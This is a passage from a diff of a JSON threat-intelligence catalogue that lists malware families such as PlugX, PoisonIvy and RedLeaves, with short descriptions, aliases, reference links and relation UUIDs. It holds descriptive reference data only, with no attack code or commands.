malware group referred to as LStudio.[[Citation: Lotus Blossom Dec 2015]]", @@ -2408,267 +1703,6 @@ }, "value": "Emissary" }, - { - "description": "Miner-C is malware that mines victims for the Monero cryptocurrency. It has targeted FTP servers and Network Attached Storage (NAS) devices to spread.[[Citation: Softpedia MinerC]]\n\nAliases: Miner-C, Mal/Miner-C, PhotoMiner", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0133", - "http://news.softpedia.com/news/cryptocurrency-mining-malware-discovered-targeting-seagate-nas-hard-drives-508119.shtml" - ], - "synonyms": [ - "Miner-C", - "Mal/Miner-C", - "PhotoMiner" - ], - "uuid": "17dec760-9c8f-4f1b-9b4b-0ac47a453234" - }, - "value": "Miner-C" - }, - { - "description": "KOMPROGO is a signature backdoor used by APT32 that is capable of process, file, and registry management.[[Citation: FireEye APT32 May 2017]]", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0156", - "https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html" - ], - "uuid": "321e2bd3-2d98-41d6-8402-3949f514c548" - }, - "related": [ - { - "dest-uuid": "7dbb67c7-270a-40ad-836e-c45f8948aa5a", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - } - ], - "value": "KOMPROGO" - }, - { - "description": "DustySky is multi-stage malware written in .NET that has been used by Molerats since May 2015.[[Citation: DustySky]][[Citation: DustySky2]]\n\nAliases: DustySky, NeD Worm", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0062", - "http://www.clearskysec.com/wp-content/uploads/2016/06/Operation-DustySky2%20-6.2016%20TLP%20White.pdf" - ], - "synonyms": [ - "DustySky", - "NeD Worm" - ], - "uuid": "687c23e4-4e25-4ee7-a870-c5e002511f54" - }, - "related": [ - { - "dest-uuid": "eedcf785-d011-4e17-96c4-6ff39138ada0", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - } - ], - "value": "DustySky" - }, - { - "description": "BUBBLEWRAP is a full-featured, second-stage backdoor used by the admin@338 group. It is set to run when the system boots and includes functionality to check, upload, and register plug-ins that can further enhance its capabilities.[[Citation: FireEye admin@338]]\n\nAliases: BUBBLEWRAP, Backdoor.APT.FakeWinHTTPHelper", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0043", - "https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html" - ], - "synonyms": [ - "BUBBLEWRAP", - "Backdoor.APT.FakeWinHTTPHelper" - ], - "uuid": "123bd7b3-675c-4b1a-8482-c55782b20e2b" - }, - "value": "BUBBLEWRAP" - }, - { - "description": "pngdowner is malware used by Putter Panda. It is a simple tool with limited functionality and no persistence mechanism, suggesting it is used only as a simple \"download-and-\nexecute\" utility.[[Citation: CrowdStrike Putter Panda]]", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0067", - "http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf" - ], - "uuid": "800bdfba-6d66-480f-9f45-15845c05cb5d" - }, - "related": [ - { - "dest-uuid": "fb4313ea-1fb6-4766-8b5c-b41fd347e4c5", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - } - ], - "value": "pngdowner" - }, - { - "description": "SslMM is a full-featured backdoor used by Naikon that has multiple variants.[[Citation: Baumgartner Naikon 2015]]", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0058", - "https://securelist.com/files/2015/05/TheNaikonAPT-MsnMM1.pdf" - ], - "uuid": "2fb26586-2b53-4b9a-ad4f-2b3bcb9a2421" - }, - "related": [ - { - "dest-uuid": "009db412-762d-4256-8df9-eb213be01ffd", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - } - ], - "value": "SslMM" - }, - { - "description": "Nidiran is a custom backdoor developed and used by Suckfly. It has been delivered via strategic web compromise.[[Citation: Symantec Suckfly March 2016]]\n\nAliases: Nidiran, Backdoor.Nidiran", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0118", - "http://www.symantec.com/connect/blogs/suckfly-revealing-secret-life-your-code-signing-certificates" - ], - "synonyms": [ - "Nidiran", - "Backdoor.Nidiran" - ], - "uuid": "9e9b9415-a7df-406b-b14d-92bfe6809fbe" - }, - "value": "Nidiran" - }, - { - "description": "Trojan.Mebromi is BIOS-level malware that takes control of the victim before MBR.[[Citation: Ge 2011]]", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0001", - "http://www.symantec.com/connect/blogs/bios-threat-showing-again" - ], - "uuid": "c5e9cb46-aced-466c-85ea-7db5572ad9ec" - }, - "value": "Trojan.Mebromi" - }, - { - "description": "OwaAuth is a Web shell and credential stealer deployed to Microsoft Exchange servers that appears to be exclusively used by Threat Group-3390.[[Citation: Dell TG-3390]]", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0072", - "http://www.secureworks.com/cyber-threat-intelligence/threats/threat-group-3390-targets-organizations-for-cyberespionage/" - ], - "uuid": "a60657fa-e2e7-4f8f-8128-a882534ae8c5" - }, - "value": "OwaAuth" - }, - { - "description": "ROCKBOOT is a Bootkit that has been used by an unidentified, suspected China-based group.[[Citation: FireEye Bootkits]]", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0112", - "https://www.fireeye.com/blog/threat-research/2015/12/fin1-targets-boot-record.html" - ], - "uuid": "cba78a1c-186f-4112-9e6a-be1839f030f7" - }, - "value": "ROCKBOOT" - }, - { - "description": "SNUGRIDE is a backdoor that has been used by menuPass as first stage malware.[[Citation: FireEye APT10 April 2017]]", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0159", - "https://www.fireeye.com/blog/threat-research/2017/04/apt10%20menupass%20grou.html" - ], - "uuid": "12b524b9-0d94-400f-904f-615f4f764aaf" - }, - "related": [ - { - "dest-uuid": "3240cbe4-c550-443b-aa76-cc2a7058b870", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - }, - { - "dest-uuid": "6a42aa10-5b7e-43b0-8c58-414cdaeda453", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - } - ], - "value": "SNUGRIDE" - }, - { - "description": "OnionDuke is malware that was used by APT29 from 2013 to 2015.[[Citation: F-Secure The Dukes]]", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0052", - "https://www.f-secure.com/documents/996508/1030745/dukes%20whitepaper.pdf" - ], - "uuid": "b136d088-a829-432c-ac26-5529c26d4c7e" - }, - "related": [ - { - "dest-uuid": "abd10caa-7d4c-4c22-8dae-8d32f13232d7", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - } - ], - "value": "OnionDuke" - }, - { - "description": "LOWBALL is malware used by admin@338. It was used in August 2015 in email messages targeting Hong Kong-based media organizations.[[Citation: FireEye admin@338]]", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0042", - "https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html" - ], - "uuid": "2a6f4c7b-e690-4cc7-ab6b-1f821fb6b80b" - }, - "value": "LOWBALL" - }, - { - "description": "BLACKCOFFEE is malware that has been used by APT17 since at least 2013.[[Citation: FireEye APT17]]", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0069", - "https://www2.fireeye.com/rs/fireye/images/APT17%20Report.pdf" - ], - "uuid": "d69c8146-ab35-4d50-8382-6fc80e641d43" - }, - "value": "BLACKCOFFEE" - }, - { - "description": "Derusbi is malware used by multiple Chinese APT groups.[[Citation: Axiom]][[Citation: ThreatConnect Anthem]] Both Windows and Linux variants have been observed.[[Citation: Fidelis Turbo]]", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0021", - "https://www.fidelissecurity.com/sites/default/files/TA%20Fidelis%20Turbo%201602%200.pdf", - "http://www.novetta.com/wp-content/uploads/2014/11/Executive%20Summary-Final%201.pdf", - "https://www.threatconnect.com/the-anthem-hack-all-roads-lead-to-china/" - ], - "uuid": "94379dec-5c87-49db-b36e-66abc0b81344" - }, - "related": [ - { - "dest-uuid": "eff68b97-f36e-4827-ab1a-90523c16774c", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - }, - { - "dest-uuid": "7ea00126-add3-407e-b69d-d4aa1b3049d5", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - } - ], - "value": "Derusbi" - }, { "description": "Epic is a backdoor that has been used by Turla.[[Citation: Kaspersky Turla]]\n\nAliases: Epic, Tavdig, Wipbot, WorldCupSec, TadjMakhal", "meta": { @@ -2704,49 +1738,72 @@ "value": "Epic" }, { - "description": "Lurid is a malware family that has been used by several groups, including PittyTiger, in targeted attacks as far back as 2006.[[Citation: Villeneuve 2014]][[Citation: Villeneuve 2011]]\n\nAliases: Lurid, Enfal", + "description": "Elise is a custom backdoor Trojan that appears to be used exclusively by Lotus Blossom. It is part of a larger group of\ntools referred to as LStudio, ST Group, and APT0LSTU.[[Citation: Lotus Blossom Jun 2015]]\n\nAliases: Elise, BKDR_ESILE, Page", "meta": { "refs": [ - "https://attack.mitre.org/wiki/Software/S0010", - "https://www.fireeye.com/blog/threat-research/2014/07/spy-of-the-tiger.html", - "http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp%20dissecting-lurid-apt.pdf" + "https://attack.mitre.org/wiki/Software/S0081", + "https://www.paloaltonetworks.com/resources/research/unit42-operation-lotus-blossom.html" ], "synonyms": [ - "Lurid", - "Enfal" + "Elise", + "BKDR_ESILE", + "Page" ], - "uuid": "251fbae2-78f6-4de7-84f6-194c727a64ad" + "uuid": "7551188b-8f91-4d34-8350-0d0c57b2b913" }, "related": [ { - "dest-uuid": "2a4cacb7-80a1-417e-8b9c-54b4089f35d9", + "dest-uuid": "d70fd29d-590e-4ed5-b72f-6ce0142019c6", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "3477a25d-e04b-475e-8330-39f66c10cc01", "tags": [ "estimative-language:likelihood-probability=\"likely\"" ], "type": "similar" } ], - "value": "Lurid" + "value": "Elise" }, { - "description": "3PARA RAT is a remote access tool (RAT) programmed in C++ that has been used by Putter Panda.[[Citation: CrowdStrike Putter Panda]]", + "description": "FakeM is a shellcode-based Windows backdoor that has been used by Scarlet Mimic.[[Citation: Scarlet Mimic Jan 2016]]", "meta": { "refs": [ - "https://attack.mitre.org/wiki/Software/S0066", - "http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf" + "https://attack.mitre.org/wiki/Software/S0076", + "http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/" ], - "uuid": "7bec698a-7e20-4fd3-bb6a-12787770fb1a" + "uuid": "bb3c1098-d654-4620-bf40-694386d28921" + }, + "value": "FakeM" + }, + { + "description": "Flame is a sophisticated toolkit that has been used to collect information since at least 2010, largely targeting Middle East countries.[[Citation: Kaspersky Flame]]\n\nAliases: Flame, Flamer, sKyWIper", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0143", + "https://securelist.com/blog/incidents/34344/the-flame-questions-and-answers-51/" + ], + "synonyms": [ + "Flame", + "Flamer", + "sKyWIper" + ], + "uuid": "ff6840c9-4c87-4d07-bbb6-9f50aa33d498" }, "related": [ { - "dest-uuid": "59fb0222-0e7d-4f5f-92ac-e68012fb927d", + "dest-uuid": "d7963066-62ed-4494-9b8c-4b8b691a7c82", "tags": [ "estimative-language:likelihood-probability=\"likely\"" ], "type": "similar" } ], - "value": "3PARA RAT" + "value": "Flame" }, { "description": "JHUHUGIT is malware used by APT28. It is based on Carberp source code and serves as reconnaissance malware.[[Citation: Kaspersky Sofacy]][[Citation: F-Secure Sofacy 2015]][[Citation: ESET Sednit Part 1]][[Citation: FireEye APT28 January 2017]]\n\nAliases: JHUHUGIT, Seduploader, JKEYSKW, Sednit, GAMEFISH", @@ -2807,15 +1864,958 @@ "value": "JHUHUGIT" }, { - "description": "ELMER is a non-persistent, proxy-aware HTTP backdoor written in Delphi that has been used by APT16.[[Citation: FireEye EPS Awakens Part 2]]", + "description": "KOMPROGO is a signature backdoor used by APT32 that is capable of process, file, and registry management.[[Citation: FireEye APT32 May 2017]]", "meta": { "refs": [ - "https://attack.mitre.org/wiki/Software/S0064", - "https://www.fireeye.com/blog/threat-research/2015/12/the-eps-awakens-part-two.html" + "https://attack.mitre.org/wiki/Software/S0156", + "https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html" ], - "uuid": "3cab1b76-2f40-4cd0-8d2c-7ed16eeb909c" + "uuid": "321e2bd3-2d98-41d6-8402-3949f514c548" }, - "value": "ELMER" + "related": [ + { + "dest-uuid": "7dbb67c7-270a-40ad-836e-c45f8948aa5a", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + } + ], + "value": "KOMPROGO" + }, + { + "description": "TINYTYPHON is a backdoor that has been used by the actors responsible for the MONSOON campaign. The majority of its code was reportedly taken from the MyDoom worm.[[Citation: Forcepoint Monsoon]]", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0131", + "https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf" + ], + "uuid": "85b39628-204a-48d2-b377-ec368cbcb7ca" + }, + "value": "TINYTYPHON" + }, + { + "description": "POSHSPY is a backdoor that has been used by APT29 since at least 2015. It appears to be used as a secondary backdoor used if the actors lost access to their primary backdoors.[[Citation: FireEye POSHSPY April 2017]]", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0150", + "https://www.fireeye.com/blog/threat-research/2017/03/dissecting%20one%20ofap.html" + ], + "uuid": "6e45f758-7bd9-44b8-a21c-7309614ae176" + }, + "related": [ + { + "dest-uuid": "5e595477-2e78-4ce7-ae42-e0b059b17808", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "4df1b257-c242-46b0-b120-591430066b6f", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + } + ], + "value": "POSHSPY" + }, + { + "description": "SHOTPUT is a custom backdoor used by APT3.[[Citation: FireEye Clandestine Wolf]]\n\nAliases: SHOTPUT, Backdoor.APT.CookieCutter, Pirpi", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0063", + "https://www.fireeye.com/blog/threat-research/2015/06/operation-clandestine-wolf-adobe-flash-zero-day.html" + ], + "synonyms": [ + "SHOTPUT", + "Backdoor.APT.CookieCutter", + "Pirpi" + ], + "uuid": "58adaaa8-f1e8-4606-9a08-422e568461eb" + }, + "related": [ + { + "dest-uuid": "4859330d-c6a5-4b9c-b45b-536ec983cd4a", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + } + ], + "value": "SHOTPUT" + }, + { + "description": "Hikit is malware that has been used by Axiom for late-stage [[persistence]] and [[exfiltration]] after the initial compromise.[[Citation: Axiom]]", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0009", + "http://www.novetta.com/wp-content/uploads/2014/11/Executive%20Summary-Final%201.pdf" + ], + "uuid": "95047f03-4811-4300-922e-1ba937d53a61" + }, + "related": [ + { + "dest-uuid": "06953055-92ed-4936-8ffd-d9d72ab6bef6", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + } + ], + "value": "Hikit" + }, + { + "description": "PoisonIvy is a popular remote access tool (RAT) that has been used by many groups.[[Citation: FireEye Poison Ivy]]\n\nAliases: PoisonIvy, Poison Ivy", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0012", + "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-poison-ivy.pdf" + ], + "synonyms": [ + "PoisonIvy", + "Poison Ivy" + ], + "uuid": "b42378e0-f147-496f-992a-26a49705395b" + }, + "related": [ + { + "dest-uuid": "4e104fef-8a2c-4679-b497-6e86d7d47db0", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "2abe89de-46dd-4dae-ae22-b49a593aff54", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "7789fc1b-3cbc-4a1c-8ef0-8b06760f93e7", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "e336aeba-b61a-44e0-a0df-cd52a5839db5", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + } + ], + "value": "PoisonIvy" + }, + { + "description": "Ixeshe is a malware family that has been used since 2009 to attack targets in East Asia.[[Citation: Moran 2013]]", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0015", + "https://www.fireeye.com/blog/threat-research/2013/08/survival-of-the-fittest-new-york-times-attackers-evolve-quickly.html" + ], + "uuid": "8beac7c2-48d2-4cd9-9b15-6c452f38ac06" + }, + "value": "Ixeshe" + }, + { + "description": "is an OS X trojan that relied on a valid developer ID and oblivious users to install it.[[Citation: Janicab]]", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0163", + "http://www.thesafemac.com/new-signed-malware-called-janicab/" + ], + "uuid": "4af4e96f-c92d-4a45-9958-a88ad8deb38d" + }, + "related": [ + { + "dest-uuid": "234e7770-99b0-4f65-b983-d3230f76a60b", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "c3c20c4b-e12a-42e5-960a-eea4644014f4", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + } + ], + "value": "Janicab" + }, + { + "description": "Kasidet is a backdoor that has been dropped by using malicious VBA macros.[[Citation: Zscaler Kasidet]]", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0088", + "http://research.zscaler.com/2016/01/malicious-office-files-dropping-kasidet.html" + ], + "uuid": "26fed817-e7bf-41f9-829a-9075ffac45c2" + }, + "related": [ + { + "dest-uuid": "3760920e-4d1a-40d8-9e60-508079499076", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + } + ], + "value": "Kasidet" + }, + { + "description": "is a backdoor that has been used by APT28 on OS X and appears to be developed in a similar manner to XAgentOSX[[Citation: XAgentOSX]][[Citation: Sofacy Komplex Trojan]].", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0162", + "https://researchcenter.paloaltonetworks.com/2017/02/unit42-xagentosx-sofacys-xagent-macos-tool/", + "https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/" + ], + "uuid": "75c79f95-4c84-4650-9158-510f0ce4831d" + }, + "related": [ + { + "dest-uuid": "f108215f-3487-489d-be8b-80e346d32518", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "d26b5518-8d7f-41a6-b539-231e4962853e", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "43cd8a09-9c80-48c8-9568-1992433af60a", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "1de47f51-1f20-403b-a2e1-5eaabe275faa", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "3948ce95-468e-4ce1-82b1-57439c6d6afd", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + } + ], + "value": "Komplex" + }, + { + "description": "RedLeaves is a malware family used by menuPass. The code overlaps with PlugX and may be based upon the open source tool Trochilus.[[Citation: PWC Cloud Hopper Technical Annex April 2017]][[Citation: FireEye APT10 April 2017]]\n\nAliases: RedLeaves, BUGJUICE", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0153", + "https://www.fireeye.com/blog/threat-research/2017/04/apt10%20menupass%20grou.html", + "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf" + ], + "synonyms": [ + "RedLeaves", + "BUGJUICE" + ], + "uuid": "3df08e23-1d0b-41ed-b735-c4eca46ce48e" + }, + "related": [ + { + "dest-uuid": "ad6a1b4a-6d79-40d4-adb7-1d7ca697347e", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "17b40f60-729f-4fe8-8aea-cc9ee44a95d5", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "90124cc8-1205-4e63-83ad-5c45a110b1e6", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "a70e93a7-3578-47e1-9926-0818979ed866", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + } + ], + "value": "RedLeaves" + }, + { + "description": "ZLib is a full-featured backdoor that was used as a second-stage implant by Dust Storm from 2014 to 2015. It is malware and should not be confused with the compression library from which its name is derived.[[Citation: Cylance Dust Storm]]", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0086", + "https://www.cylance.com/hubfs/2015%20cylance%20website/assets/operation-dust-storm/Op%20Dust%20Storm%20Report.pdf?t=1456259131512" + ], + "uuid": "166c0eca-02fd-424a-92c0-6b5106994d31" + }, + "value": "ZLib" + }, + { + "description": "hcdLoader is a remote access tool (RAT) that has been used by APT18.[[Citation: Dell Lateral Movement]]", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0071", + "http://www.secureworks.com/resources/blog/where-you-at-indicators-of-lateral-movement-using-at-exe-on-windows-7-systems/" + ], + "uuid": "9e2bba94-950b-4fcf-8070-cb3f816c5f4e" + }, + "related": [ + { + "dest-uuid": "12bb8f4f-af29-49a0-8c2c-d28468f28fd8", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + } + ], + "value": "hcdLoader" + }, + { + "description": "Lurid is a malware family that has been used by several groups, including PittyTiger, in targeted attacks as far back as 2006.[[Citation: Villeneuve 2014]][[Citation: Villeneuve 2011]]\n\nAliases: Lurid, Enfal", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0010", + "https://www.fireeye.com/blog/threat-research/2014/07/spy-of-the-tiger.html", + "http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp%20dissecting-lurid-apt.pdf" + ], + "synonyms": [ + "Lurid", + "Enfal" + ], + "uuid": "251fbae2-78f6-4de7-84f6-194c727a64ad" + }, + "related": [ + { + "dest-uuid": "2a4cacb7-80a1-417e-8b9c-54b4089f35d9", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + } + ], + "value": "Lurid" + }, + { + "description": "SslMM is a full-featured backdoor used by Naikon that has multiple variants.[[Citation: Baumgartner Naikon 2015]]", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0058", + "https://securelist.com/files/2015/05/TheNaikonAPT-MsnMM1.pdf" + ], + "uuid": "2fb26586-2b53-4b9a-ad4f-2b3bcb9a2421" + }, + "related": [ + { + "dest-uuid": "009db412-762d-4256-8df9-eb213be01ffd", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + } + ], + "value": "SslMM" + }, + { + "description": "WinMM is a full-featured, simple backdoor used by Naikon.[[Citation: Baumgartner Naikon 2015]]", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0059", + "https://securelist.com/files/2015/05/TheNaikonAPT-MsnMM1.pdf" + ], + "uuid": "22addc7b-b39f-483d-979a-1b35147da5de" + }, + "related": [ + { + "dest-uuid": "6a100902-7204-4f20-b838-545ed86d4428", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + } + ], + "value": "WinMM" + }, + { + "description": "MobileOrder is a Trojan intended to compromise Android mobile devices. It has been used by Scarlet Mimic.[[Citation: Scarlet Mimic Jan 2016]]", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0079", + "http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/" + ], + "uuid": "463f68f1-5cde-4dc2-a831-68b73488f8f4" + }, + "value": "MobileOrder" + }, + { + "description": "RTM is custom malware written in Delphi. It is used by the group of the same name (RTM).[[Citation: ESET RTM Feb 2017]]", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0148", + "https://www.welivesecurity.com/wp-content/uploads/2017/02/Read-The-Manual.pdf" + ], + "uuid": "92ec0cbd-2c30-44a2-b270-73f4ec949841" + }, + "related": [ + { + "dest-uuid": "e6952b4d-e96d-4641-a88f-60074776d553", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + } + ], + "value": "RTM" + }, + { + "description": "MoonWind is a remote access tool (RAT) that was used in 2016 to target organizations in Thailand.[[Citation: Palo Alto MoonWind March 2017]]", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0149", + "http://researchcenter.paloaltonetworks.com/2017/03/unit42-trochilus-rat-new-moonwind-rat-used-attack-thai-utility-organizations/" + ], + "uuid": "9ea525fa-b0a9-4dde-84f2-bcea0137b3c1" + }, + "related": [ + { + "dest-uuid": "f266754c-d0aa-4918-95a3-73b28eaa66e3", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "76ec1827-68a1-488f-9899-2b788ea8db64", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "8465177f-16c8-47fc-a4c8-f4c0409fe460", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + } + ], + "value": "MoonWind" + }, + { + "description": "Misdat is a backdoor that was used by Dust Storm from 2010 to 2011.[[Citation: Cylance Dust Storm]]", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0083", + "https://www.cylance.com/hubfs/2015%20cylance%20website/assets/operation-dust-storm/Op%20Dust%20Storm%20Report.pdf?t=1456259131512" + ], + "uuid": "0db09158-6e48-4e7c-8ce7-2b10b9c0c039" + }, + "related": [ + { + "dest-uuid": "d1597713-fe7a-45bd-8b59-1a13c7e097d8", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + } + ], + "value": "Misdat" + }, + { + "description": "Mivast is a backdoor that has been used by Deep Panda. It was reportedly used in the Anthem breach.[[Citation: Symantec Black Vine]]", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0080", + "http://www.symantec.com/content/en/us/enterprise/media/security%20response/whitepapers/the-black-vine-cyberespionage-group.pdf" + ], + "uuid": "fbb470da-1d44-4f29-bbb3-9efbe20f94a3" + }, + "value": "Mivast" + }, + { + "description": "NetTraveler is malware that has been used in multiple cyber espionage campaigns for basic surveillance of victims. The earliest known samples have timestamps back to 2005, and the largest number of observed samples were created between 2010 and 2013.[[Citation: Kaspersky NetTraveler]]", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0033", + "http://www.securelist.com/en/downloads/vlpdfs/kaspersky-the-net-traveler-part1-final.pdf" + ], + "uuid": "cafd0bf8-2b9c-46c7-ae3c-3e0f42c5062e" + }, + "related": [ + { + "dest-uuid": "59b70721-6fed-4805-afa5-4ff2554bef81", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "3a26ee44-3224-48f3-aefb-3978c972d928", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + } + ], + "value": "NetTraveler" + }, + { + "description": "Nidiran is a custom backdoor developed and used by Suckfly. It has been delivered via strategic web compromise.[[Citation: Symantec Suckfly March 2016]]\n\nAliases: Nidiran, Backdoor.Nidiran", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0118", + "http://www.symantec.com/connect/blogs/suckfly-revealing-secret-life-your-code-signing-certificates" + ], + "synonyms": [ + "Nidiran", + "Backdoor.Nidiran" + ], + "uuid": "9e9b9415-a7df-406b-b14d-92bfe6809fbe" + }, + "value": "Nidiran" + }, + { + "description": "PlugX is a remote access tool (RAT) that uses modular plugins.[[Citation: Lastline PlugX Analysis]] It has been used by multiple threat groups.[[Citation: FireEye Clandestine Fox Part 2]][[Citation: New DragonOK]][[Citation: Dell TG-3390]]\n\nAliases: PlugX, Sogu, Kaba", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0013", + "http://www.secureworks.com/cyber-threat-intelligence/threats/threat-group-3390-targets-organizations-for-cyberespionage/", + "https://www.fireeye.com/blog/threat-research/2014/06/clandestine-fox-part-deux.html", + "http://labs.lastline.com/an-analysis-of-plugx", + "http://researchcenter.paloaltonetworks.com/2015/04/unit-42-identifies-new-dragonok-backdoor-malware-deployed-against-japanese-targets/" + ], + "synonyms": [ + "PlugX", + "Sogu", + "Kaba" + ], + "uuid": "64fa0de0-6240-41f4-8638-f4ca7ed528fd" + }, + "related": [ + { + "dest-uuid": "663f8ef9-4c50-499a-b765-f377d23c1070", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "f4b159ea-97e5-483b-854b-c48a78d562aa", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "036bd099-fe80-46c2-9c4c-e5c6df8dcdee", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + } + ], + "value": 